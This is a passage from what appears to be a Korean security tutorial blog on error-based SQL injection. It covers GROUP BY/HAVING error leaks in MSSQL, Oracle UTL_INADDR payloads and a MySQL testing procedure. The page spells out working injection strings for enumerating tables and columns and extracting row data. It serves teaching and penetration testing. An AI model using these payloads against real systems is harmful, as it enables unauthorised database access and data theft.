[5] HAVING SUM(salary_amt) >= 10000;

 ์›”๊ธ‰ ํ…Œ์ด๋ธ”์—์„œ(2๋ฒˆ ๋ผ์ธ) ๋ถ€์„œ์ฝ”๋“œ๊ฐ€ 22์ธ ๋ถ€์„œ์— ์†ํ•œ(3๋ฒˆ ๋ผ์ธ) ์ง์›์˜ ์‚ฌ๋ฒˆ๊ณผ ์ด๋ฆ„์„ ๊ธฐ์ค€์œผ๋กœ(4๋ฒˆ ๋ผ์ธ)  ์›”๊ธ‰ ํ•ฉ๊ณ„๋ฅผ ๊ตฌํ•˜๋Š”๋ฐ ์›”๊ธ‰ ํ•ฉ๊ณ„๊ฐ€ $10,000 ์ด์ƒ์ธ(5๋ฒˆ ๋ผ์ธ) ์ง์›์˜ ์‚ฌ๋ฒˆ, ์ด๋ฆ„๊ณผ ์›”๊ธ‰ ํ•ฉ๊ณ„๋ฅผ ์ถ”์ถœ(1๋ฒˆ ๋ผ์ธ)ํ•˜๋Š” ์ฟผ๋ฆฌ์ž…๋‹ˆ๋‹ค.

 

 ๋ณด์‹œ๋Š” ๋ฐ”์™€ ๊ฐ™์ด SELECT์ ˆ์— ์‚ฌ์šฉ๋œ ์ผ๋ฐ˜ ์ปฌ๋Ÿผ์ธ staff_no์™€ name ์ปฌ๋Ÿผ์€ GROUP BY์ ˆ์— ํฌํ•จ๋˜์–ด ๊ทธ๋ฃน๋ณ„ ์ง‘๊ณ„๋ฅผ ์œ„ํ•œ ๊ธฐ์ค€์„ ์žก์•„์ฃผ๊ณ  ์žˆ์œผ๋ฉฐ, HAVING์ ˆ์€ GROUP BY์™€ ํ•จ๊ป˜ ์‚ฌ์šฉ๋˜์–ด ์กฐ๊ฑด์„ ์ง€์ •ํ•ด์ฃผ๊ณ  ์žˆ์œผ๋ฏ€๋กœ ๊ทœ์น™์— ์œ„๋ฐฐ๋˜์ง€ ์•Š์€ ์ฟผ๋ฆฌ์ž…๋‹ˆ๋‹ค. 

 

์•„๋ž˜๋Š” ํ•ด๋‹น ๊ทœ์น™์„ ์œ„๋ฐฐํ•œ ์‚ฌํ•ญ์œผ๋กœ ๊ฐ™์ด ์‚ดํŽด๋ด…์‹œ๋‹ค.

  • ๊ทœ์ • ์œ„๋ฐ˜ ์˜ˆ์‹œ 1
[1] SELECT staff_no, name, SUM(salary_amt)
[2] FROM salary
[3] WHERE department = '22'
[4] GROUP BY staff_no    <--- ๊ทœ์น™1 ์œ„๋ฐฐ (SELECT์ ˆ์— ์‚ฌ์šฉ๋œ name ์ปฌ๋Ÿผ ๋ˆ„๋ฝ๋จ.)
[5] HAVING SUM(salary_amt) >= 10000; 

์‹คํ–‰ ๊ฒฐ๊ณผ
-------
Microsoft OLE DB Provider for SQL Server (0x80040E14)
'salary.name'์—ด์ด ์ง‘๊ณ„ ํ•จ์ˆ˜์— ์—†๊ณ  GROUP BY ์ ˆ์ด ์—†์œผ๋ฏ€๋กœ SELECT ๋ชฉ๋ก์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.
[1] SELECT staff_no, name, SUM(salary_amt)
[2] FROM salary
[3] WHERE department = '22'    
[4] HAVING SUM(salary_amt) >= 10000;  <--- ๊ทœ์น™2 ์œ„๋ฐฐ (GROUP BY ์—†์ด ์‚ฌ์šฉ๋จ.)

์‹คํ–‰ ๊ฒฐ๊ณผ
-------
Microsoft OLE DB Provider for SQL Server (0x80040E14)
'salary.staff_no'์—ด์ด ์ง‘๊ณ„ ํ•จ์ˆ˜์— ์—†๊ณ  GROUP BY ์ ˆ์ด ์—†์œผ๋ฏ€๋กœ SELECT ๋ชฉ๋ก์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

 ์œ„ ๋‚ด์šฉ์„ ์‚ดํŽด๋ณด๋ฉด ๋ฌด์Šจ ๋ถ€๋ถ„์ด ์—†๋Š”์ง€ ๋ช…์‹œํ•˜๋ฉฐ ์•Œ๋ ค์ฃผ๋Š” ๋‚ด์šฉ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฆ‰ ํ•ด๋‹น ํ…Œ์ด๋ธ”๋ช…๊ณผ ๋ฌธ์ œ๊ฐ€ ๋˜๋Š” ์ปฌ๋Ÿผ๋ช…(salary.name, salary.staff_no)์„ ํ™•์ธํ•˜์—ฌ ์ •๋ณด๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 ์ด๋ฅผ ํ†ตํ•ด SQLi๋ฅผ ์ง„ํ–‰ํ•˜๋ฉฐ, ์ทจ์•ฝํ•œ ์ปฌ๋Ÿผ์ด ๋ฌธ์žํ˜•์ผ ๊ฒฝ์šฐ ์•„๋ž˜์™€ ๊ฐ™์ด ํ…Œ์ด๋ธ”๋ช…๊ณผ ์ปฌ๋Ÿผ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ํ…Œ์ด๋ธ”๋ช…๊ณผ ์ฒซ๋ฒˆ์งธ ์ปฌ๋Ÿผ๋ช… ์ถ”์ถœ
1' HAVING 1=1--
  • ๋‘๋ฒˆ์งธ ์ปฌ๋Ÿผ๋ช… ์ถ”์ถœ
1' GROUP BY ํ…Œ์ด๋ธ”๋ช….์ฒซ๋ฒˆ์งธ-์ปฌ๋Ÿผ HAVING 1=1--
  • ์„ธ๋ฒˆ์งธ ์ปฌ๋Ÿผ๋ช… ์ถ”์ถœ
1' GROUP BY ํ…Œ์ด๋ธ”๋ช….์ฒซ๋ฒˆ์งธ-์ปฌ๋Ÿผ,ํ…Œ์ด๋ธ”๋ช….๋‘๋ฒˆ์งธ-์ปฌ๋Ÿผ HAVING 1=1--

....

 

์œ„ ๊ณผ์ •์„ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š” ์‹œ์ ๊นŒ์ง€ ์ง„ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์‹œ์ ๊นŒ์ง€ ๊ฐ„๋‹ค๋ฉด ๋ชจ๋“  ์ปฌ๋Ÿผ์„ ์•Œ์•„๋ƒˆ๋‹ค๋Š” ๋œป์ด๋‹ˆ๊นŒ์š”.

 

 ์ถ”๊ฐ€์ ์œผ๋กœ ์ปฌ๋Ÿผ์˜ ์ž๋ฃŒํ˜•๊นŒ์ง€ ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด SUM()์ด๋ผ๋Š” ์ง‘๊ณ„ ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ํ•จ์ˆ˜๋Š” ์ง€์ •๋œ ์ปฌ๋Ÿผ์€ ์ž๋ฃŒํ˜•์ด ์ˆซ์žํ˜• X ๊ฒฝ์šฐ ํ•ด๋‹น ์ปฌ๋Ÿผ์˜ ์ž๋ฃŒํ˜•์„ ํ‘œ์‹œํ•˜๋ฉฐ ์˜ค๋ฅ˜๋ฅผ ๋„์›๋‹ˆ๋‹ค.

1' UNION SELECT SUM(์ปฌ๋Ÿผ) FROM ํ…Œ์ด๋ธ”๋ช…--

์ด๋ฅผ ํ†ตํ•ด ์•Œ๊ฒŒ๋œ ์ •๋ณด๋กœ UNION ๊ธฐ๋ฐ˜ SQLi[๊ฐ์ฃผ:4]๋ฅผ ์ง„ํ–‰ํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.


Oracle DB

UTL_INADDR Pack์™€ ํ•˜์œ„ ํ”„๋กœ๊ทธ๋žจ์ธ
GET_HOST_NAME or GET_HOST_ADDRESS์˜ ๋ฌธ๋ฒ•์  ์˜ค๋ฅ˜ ํ™œ์šฉ 

 

UTL_INADDR ํŒจํ‚ค์ง€์˜ ์—ญํ• ์€ Oracle ๊ณต์‹ ๋ฌธ์„œ์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ •์˜๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

 Oracle DB์˜ ์ฃผ์†Œ ๊ด€๋ จ ์ž‘์—…์„ ์œ„ํ•œ ํŒจํ‚ค์ง€์ž…๋‹ˆ๋‹ค. ์ฃผ์†Œ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ, ์ฃผ์†Œ ํ˜•์‹ ๋ณ€ํ™˜, ์ฃผ์†Œ ๊ตฌ์„ฑ ์š”์†Œ ์ถ”์ถœ ๋“ฑ์˜ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜์ง€์š”

 ํ•ต์‹ฌ์€ ์ธํ„ฐ๋„ท ์ฃผ์†Œ ์ง€์ •์„ ์ง€์›ํ•˜๋Š” PL/SQL ํ”„๋กœ์‹œ์ €๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋กœ์ปฌ ๋ฐ ์›๊ฒฉ ํ˜ธ์ŠคํŠธ์˜ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„๊ณผ IP ์ฃผ์†Œ๋ฅผ ์กฐํšŒํ•˜๋Š” API๋ฅผ ์ œ๊ณต
๐Ÿค” ์—ฌ๊ธฐ์„œ PL/SQL์ด๋ž€?
 Oracle DB์—์„œ ์‹คํ–‰๋˜๋Š” ์ €์žฅ ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ, ์ด๋ฆ„์„ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ SQL ๋ฌธ๊ณผ ์ œ์–ด ๊ตฌ๋ฌธ์„ ํฌํ•จํ•˜๋Š” ๋ธ”๋ก์ž…๋‹ˆ๋‹ค. ํ”„๋กœ์‹œ์ €๋Š” ํ•„์š”ํ•  ๋•Œ ํ˜ธ์ถœ๋˜์–ด ์‹คํ–‰๋˜๋ฉฐ, DB์˜ ๊ธฐ๋Šฅ์„ ํ™•์žฅํ•˜๊ณ  ๋น„์ฆˆ๋‹ˆ์Šค ๋กœ์ง์„ ๊ตฌํ˜„์— ์‚ฌ์šฉ๋จ

 

 ์ด UTL_INADDR ํŒจํ‚ค์ง€์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ํ•˜์œ„ ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ GET_HOST_NAME๊ณผ GET_HOST_ADDRESS๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ๋ฒ•์€ ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

UTL_INADDR.GET_HOST_NAME       (ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ ์กฐํšŒ)
UTL_INADDR.GET_HOST_ADDRESS    (ํ˜ธ์ŠคํŠธ IP์ฃผ์†Œ ์กฐํšŒ)

 ์œ„ ๋‘ ํ•˜์œ„ ํ”„๋กœ๊ทธ๋žจ์€ ์ธ์ˆ˜๋กœ ์œ ํšจ X ๊ฐ’์„ ๋ฐ›์„ ๊ฒฝ์šฐ ์˜ค๋ฅ˜๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ณ , ์œ ํšจํ•˜์ง€ ์•Š๋Š” ์ง€์ • ์ธ์ˆ˜ ๊ฐ’(ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ or IP์ฃผ์†Œ)๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.

 

 ์ด๋ฅผ ํ™œ์šฉํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ๊ธฐ๋ณธ ๊ณต๊ฒฉ ๊ตฌ๋ฌธ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹จ, GET_HOST_NAME ๋Œ€์‹  GET_HOST_ADDRESS๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

1' AND SELECT UTL_INADDR.GET_HOST_NAME(์‹คํ–‰ํ• -SQL-์ฟผ๋ฆฌ) FROM dual--

 

๋‹ค์Œ์€ ์œ„์˜ ๊ธฐ๋ณธ ํ˜•์‹์„ ํ™œ์šฉํ•˜์—ฌ ์ •๋ณด๋ฅผ ์–ป๋Š” ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค.


Oracle SQLi Sample

๋”๋ณด๊ธฐ

 

  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ฒ„์ „ ์ถ”์ถœ
1' AND SELECT UTL_INADDR.GET_HOST_NAME(
	(SELECT banner FROM v$version WHERE rownum=1)
   ) FROM dual--
  • ํ…Œ์ด๋ธ”๋ช… ์ถ”์ถœ
1' AND SELECT UTL_INADDR.GET_HOST_NAME(
		(SELECT table_name 
		FROM (SELECT rownum rowidx, table_name FROM tabs) WHERE rowidx=1)) 
	FROM dual--
  • ์ปฌ๋Ÿผ๋ช… ์ถ”์ถœ
1' AND SELECT UTL_INADDR.GET_HOST_NAME(
		(SELECT column_name FROM 
			(SELECT rownum rowidx, column_name 
			FROM cols WHERE table_name = 'ํ…Œ์ด๋ธ”๋ช…') WHERE rowidx=1)
		) 
	FROM dual--
  • ๋ฐ์ดํ„ฐ ์ถ”์ถœ
1' AND SELECT UTL_INADDR.GET_HOST_NAME(
		(SELECT ์ปฌ๋Ÿผ1 || ',' || ์ปฌ๋Ÿผ2 || ',' ... ',' || ์ปฌ๋ŸผN 
			FROM (SELECT rownum rowidx, ์ปฌ๋Ÿผ1, ์ปฌ๋Ÿผ2, ..., ์ปฌ๋ŸผN FROM ํ…Œ์ด๋ธ”๋ช…) 
			WHERE rowidx=1)
		) 
	FROM dual--

rownum์˜ ๊ฐ’์„ ์ฆ๊ฐํ•˜์—ฌ ํ•ด๋‹น ๊ฒฐ๊ณผ๋ฅผ ๋„์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์ด์™ธ์—๋„ ์•„๋ž˜ ๋งํฌ๋ฅผ ์ฐธ์กฐํ•˜์—ฌ ๋” ๋ฐฐ์šฐ์‹œ๊ธธ ๋ฐ”๋ž๋‹ˆ๋‹ค(์ถ”ํ›„์— ๋˜ ์ •๋ฆฌํ•  ๊ฑฐ ๊ฐ™๋„ค์š”)

 

SQL Injection

1. Background: Relational DBMS 1. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ธฐ๋ณธ ๊ฐœ๋…๊ณผ DBMS - By L.M.S 1. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ•„์š”์„ฑ ๋”๋ณด๊ธฐ ๐Ÿ’กKEYWORD - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ•„์š”์„ฑ - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ •์˜์™€ ํŠน์„ฑ - ๋ฐ์ดํ„ฐ์™€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค - DBMS, ๋ฐ

dystopia050119.tistory.com


Error-based SQLi test method

 ์—ฌ๊ธฐ์„  MySQL 5.1 ์ด์ƒ์˜ DB์™€ ์—ฐ๋™๋œ App์—์„œ ์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ SQLi ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•˜๊ธฐ ์œ„ํ•œ ์ผ๋ฐ˜์ ์ธ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋‹ค๋ฃน๋‹ˆ๋‹ค. ๋ง์”€๋“œ๋ ธ๋‹ค์‹œํ”ผ DB(์™€ ๋ฒ„์ „ ๋“ฑ)์— ๋”ฐ๋ผ ํ…Œ์ŠคํŠธ ๊ธฐ๋ฒ•์€ ๋‹ค์–‘ํ•˜๋ฏ€๋กœ ์ด ์„น์…˜์—์„œ ์‚ฌ์šฉ๋œ ๊ธฐ๋ฒ• ์™ธ์—๋„ ๋‹ค๋ฅธ ๊ธฐ๋ฒ•์„ ํ™œ์šฉํ•˜์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


Step 1. DB์™€ ํ†ต์‹ ํ•˜๋Š” ์ง„์ž…์ (Endpoint) ์‹๋ณ„

 ๋Œ€์ƒ App์„ ํƒ์ƒ‰ํ•˜์—ฌ DB์™€์˜ ํ†ต์‹ ๊ณผ ๊ด€๋ จ๋œ ๋ชจ๋“  ์ง„์ž…์ ๊ณผ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์–‘ํ•œ ์‚ฌ์šฉ์ž ๊ถŒํ•œ๊ณผ ์—ญํ• ์ด ์žˆ๋Š” ๊ฒฝ์šฐ, ๊ฐ ๊ถŒํ•œ๊ณผ ์—ญํ• ์— ๋Œ€ํ•œ ๋ชจ๋“  ์กฐํ•ฉ๋ณ„๋กœ ์‚ฌ์šฉ์ž ๊ณ„์ •์„ ์ƒ์„ฑํ•˜์—ฌ App์„ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋Š” GET ๋งค๊ฐœ๋ณ€์ˆ˜, POST Body ๋งค๊ฐœ๋ณ€์ˆ˜, Cookie ๋“ฑ์˜ ํ‘œ์ค€ ๋ฐ ์ปค์Šคํ…€ ์š”์ฒญ ํ—ค๋”๋ฅผ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

Step 2. ์ž ์žฌ์  ์ทจ์•ฝ ์—ฌ๋ถ€ ๊ฒ€์ฆ

 ์ˆ˜์ง‘ํ•œ ์ง„์ž…์ ๊ณผ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ SQLi์— ์ž ์žฌ์ ์œผ๋กœ ์ทจ์•ฝํ•œ์ง€ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ์ž ์žฌ์  ์ทจ์•ฝ ์—ฌ๋ถ€ ๊ฒ€์ฆ์€ ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ๊ฐ’์ด SQL ์ฟผ๋ฆฌ๋กœ ํ•ด์„๋  ์ˆ˜ ์žˆ๋Š”์ง€ ์—ฌ๋ถ€๋กœ ํŒ๋‹จ๋ฉ๋‹ˆ๋‹ค. ์˜์‹ฌ๋˜๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ๊ฐ’์ด ์—ฐ๊ฒฐ๋˜๋Š” DB ์ปฌ๋Ÿผ์˜ ์ž๋ฃŒํ˜•์— ๋”ฐ๋ผ ๋ฌธ์ž์—ด ํƒ€์ž…์ธ์ง€, ์ˆซ์ž ํƒ€์ž…์ธ์ง€์— ๋”ฐ๋ผ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค.


IF.. ๋ฌธ์ž์—ด ํƒ€์ž…์ธ ๊ฒฝ์šฐ

 ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ๊ฐ’์ด ํ™€๋”ฐ์˜ดํ‘œ(')๋ฅผ ์ž…๋ ฅ ํ›„ ์ œ์ถœํ•ด๋ณด๊ณ  HTTP ํ†ต์‹ ์˜ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค. ์˜ˆ์‹œ๋กœ..

idx=1234'

์œ„์™€ ๊ฐ™์€ ์š”์ฒญ์— DB ๊ตฌ๋ฌธ ์˜ค๋ฅ˜๊ฐ€ ๋‚œ๋‹ค๋ฉด SQLi๊ฐ€ ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 ๋˜ ๋‹ค๋ฅธ ๊ฒ€์ฆ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ ์—ฐ์‚ฐ์ž์˜ ๊ธฐ๋Šฅ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๊ฐœ์˜ ํŒŒํŠธ๋กœ ๋‚˜๋‰˜์–ด์ง„ ๋ฌธ์ž์—ด์„ ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ ์—ฐ์‚ฐ์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์š”์ฒญํ•˜๊ณ , ์›๋ž˜์˜ ๋งค๊ฐœ๋ณ€์ˆ˜ ๊ฐ’์œผ๋กœ ์š”์ฒญํ–ˆ์„ ๋•Œ์™€ ๋™์ผํ•œ ์‘๋‹ต์ด ๋ฐ˜ํ™˜๋˜๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, %2B๋Š” ๋”ํ•˜๊ธฐ(+) ๊ธฐํ˜ธ์˜ URL ์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž์ž…๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด SQLi์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

idx=12' '34      (MySQL ๋˜๋Š” MariaDB)
idx=12'%2B'34    (MSSQL)
idx=12'||'34     (Oracle)

 "AND 1=1", "AND 1=2"์™€ ๊ฐ™์€ ๋…ผ๋ฆฌ ์กฐ๊ฑด์„ ์ฃผ์ž…ํ•˜์—ฌ SQLi ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋“ฑํ˜ธ(=) ๊ธฐํ˜ธ๋Š” URL ๊ตฌ์กฐ์—์„œ ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ๊ฐ’์„ ๊ตฌ๋ถ„ํ•˜๋Š” ์—ญํ• ์„ ํ•˜๋ฏ€๋กœ ๋…ผ๋ฆฌ ์กฐ๊ฑด์—์„œ๋Š” URL ์ธ์ฝ”๋”ฉ ๊ฐ’์ธ %3D๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ทจ์•ฝ์  ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

idx=1234%27+AND+1%3D1--+     (์ฐธ์ด ๋˜๋Š” ์กฐ๊ฑด ์ฃผ์ž…)  
idx=1234%27+AND+1%3D2--+     (๊ฑฐ์ง“์ด ๋˜๋Š” ์กฐ๊ฑด ์ฃผ์ž…)  

 ์ฒซ๋ฒˆ์งธ ์š”์ฒญ์€ ์›๋ž˜ ์š”์ฒญ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ์ด๋ฉฐ, ๋‘๋ฒˆ์งธ ์š”์ฒญ์—๋Š” ๋‹ค๋ฅธ ์‘๋‹ต์„ ํ•œ๋‹ค๋ฉด SQLi๊ฐ€ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.(์žˆ๋Š” ๊ทธ๋Œ€๋กœ SQL ์ฟผ๋ฆฌ๋กœ ์‘๋‹ต ๋ฐ›๋Š”๋‹ค๋Š” ์˜๋ฏธ์ผ ์ˆ˜ ์žˆ๊ธฐ์—)

 

IF.. ์ˆซ์ž ํƒ€์ž…์ธ ๊ฒฝ์šฐ

 ํ™‘๋”ฐ์˜ดํ‘œ(')๋ฅผ ์ด์šฉํ•˜์—ฌ ์ˆซ์ž ํƒ€์ž…์„ ์ฒ˜๋ฆฌํ•˜๋Š” App์˜ ๊ฒฝ์šฐ์—๋Š” ์œ„์˜ ํ™‘๋”ฐ์˜ดํ‘œ๋ฅผ ์ด์šฉํ•œ ๋ฐฉ๋ฒ•์ด ๊ฐ€๋Šฅํ•˜๊ธฐ๋„ ํ•˜๋‚˜ ์ž๋ฃŒํ˜•์„ ์—„๊ฒฉํžˆ ์ค€์ˆ˜ํ•˜์—ฌ ๊ฐœ๋ฐœ๋œ App์€ ๊ทธ๋ ‡์ง€ ์•Š์€ ๊ฒฝ์šฐ๊ฐ€ ๋‹ค๋ฐ˜์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฐ ๊ฒฝ์šฐ ์•„๋ž˜์™€ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ์ˆซ์ž ํƒ€์ž…์˜ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ DB์™€ ์—ฐ๋™๋˜๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์š”์ฒญ์ด ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ์‹œ๋‹ค.

idx=4

  idx ๋งค๊ฐœ๋ณ€์ˆ˜์— ์‚ฐ์ˆ  ์—ฐ์‚ฐ์ž๋ฅผ ์‚ฌ์šฉํ•œ ๊ณ„์‚ฐ์‹์„ ์ ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ณ„์‚ฐ์‹์˜ ๊ฒฐ๊ณผ๊ฐ€ ๋ชจ๋‘ 4์ด๋ฉฐ, ์›๋ž˜์˜ ์š”์ฒญ(idx=4)๊ณผ ์‘๋‹ต์ด ๋™์ผํ•˜๋‹ค๋ฉด SQLi์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ํ•˜๊ธฐ(+) ๊ธฐํ˜ธ๋Š” %2B๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ทจ์•ฝ์  ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

idx=5-1
idx=3+1
idx=53-ASCII(1)     ---> ASCII(1)์˜ ๊ฐ’์€ 49๋กœ ๊ณ„์‚ฐ ๊ฒฐ๊ณผ๋Š” 4์ž„

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋…ผ๋ฆฌ ์กฐ๊ฑด์„ ์ฃผ์ž…ํ•˜์—ฌ ์‘๋‹ต์„ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค.

idx=4+AND+1%3D1--+     (์ฐธ์ด ๋˜๋Š” ์กฐ๊ฑด ์ฃผ์ž…)  
idx=4+AND+1%3D2--+     (๊ฑฐ์ง“์ด ๋˜๋Š” ์กฐ๊ฑด ์ฃผ์ž…)    

 

Step 3. ์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์ด ๊ฐ€๋Šฅํ•œ์ง€ ํŒŒ์•…

์œ„์—์„œ ์†Œ๊ฐœ๋œ MySQL XPath ๊ธฐ๋ฒ•์„ ์ด์šฉํ•ด ์˜ค๋ฅ˜๊ฐ€ ์œ ๋ฐœ๋˜๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ง€์ •๋œ sqli test๋Š” ์ž„์˜๋กœ ์ง€์ •ํ•œ ๋ฌธ์ž์—ด์ž…๋‹ˆ๋‹ค.

idx=1234'+AND+extractvalue(rand(),concat(0x3a,'sqlitest'))--+

์ˆซ์ž ํƒ€์ž…์ธ ๊ฒฝ์šฐ๋Š” ์•„๋ž˜์™€ ๊ฐ™์ด idx=1234 ๋ฐ”๋กœ ๋’ค์˜ ํ™‘๋”ฐ์˜ดํ‘œ(')๊ฐ€ ์—†์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

idx=1234+AND+extractvalue(rand(),concat(0x3a,'sqlitest'))--+

HTTP ์‘๋‹ต ๋ฉ”์‹œ์ง€ ์•ˆ์— ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๋ฉ”์‹œ์ง€๊ฐ€ ํ‘œ์‹œ๋œ๋‹ค๋ฉด ์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ SQL Injection์— ์ทจ์•ฝํ•˜๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

XPATH syntax error: ':sqlitest'

 

Step 4. ๋ฐ์ดํ„ฐ ์ถ”์ถœ

 ์˜ค๋ฅ˜ ๊ธฐ๋ฐ˜ SQLi ๊ธฐ๋ฒ• ์„น์…˜์˜ XPath ๋ถ€๋ถ„์„ ์ฐธ๊ณ ํ•˜์—ฌ DB ๋ฒ„์ „, ํ…Œ์ด๋ธ”๋ช…, ์ปฌ๋Ÿผ๋ช… ๋“ฑ์˜ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ํš๋“ํ•จ


์‹ค์Šต ๋ฌธ์ œ ํ’€์ด

์ค€๋น„ ์ค‘...


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€

 

